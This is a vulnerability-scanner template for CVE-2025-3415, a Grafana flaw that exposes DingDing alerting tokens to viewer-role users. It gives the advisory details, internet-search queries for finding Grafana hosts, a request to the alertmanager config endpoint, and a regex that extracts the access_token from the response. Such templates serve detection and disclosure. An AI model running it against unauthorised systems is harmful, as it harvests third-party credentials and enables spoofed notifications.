id: CVE-2025-3415 info: name: Grafana - Exposes DingDing API Keys author: lucasribolli severity: medium description: | An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1. impact: | Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation. remediation: | Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings. reference: - https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/ classification: epss-score: 0.0089 epss-percentile: 0.55673 metadata: verified: true max-request: 1 vendor: grafana product: grafana shodan-query: - http.title:"grafana" - cpe:"cpe:2.3:a:grafana:grafana" fofa-query: - title="grafana" - app="grafana" google-query: intitle:"grafana" tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln http: - raw: - | GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains_all(body, "dingtalk.com","dingding-context")' - 'contains(content_type, "application/json")' - 'status_code == 200' condition: and extractors: - type: regex name: dingding-integration-url part: body regex: - '(?i)https?://oapi\.dingtalk\.com/robot/send\?access_token=[^&"\s]+' # digest: 490a0046304402202dc37f95f550b9788f79012f2f32cd307c7b8ee4e1abfe42535c7a51d08421cb02204a2308f43358a7ad9f14726f63dd43af59750937f32bdf176af418b7a29c6af5:922c64590222798bb761d5b6d8e72950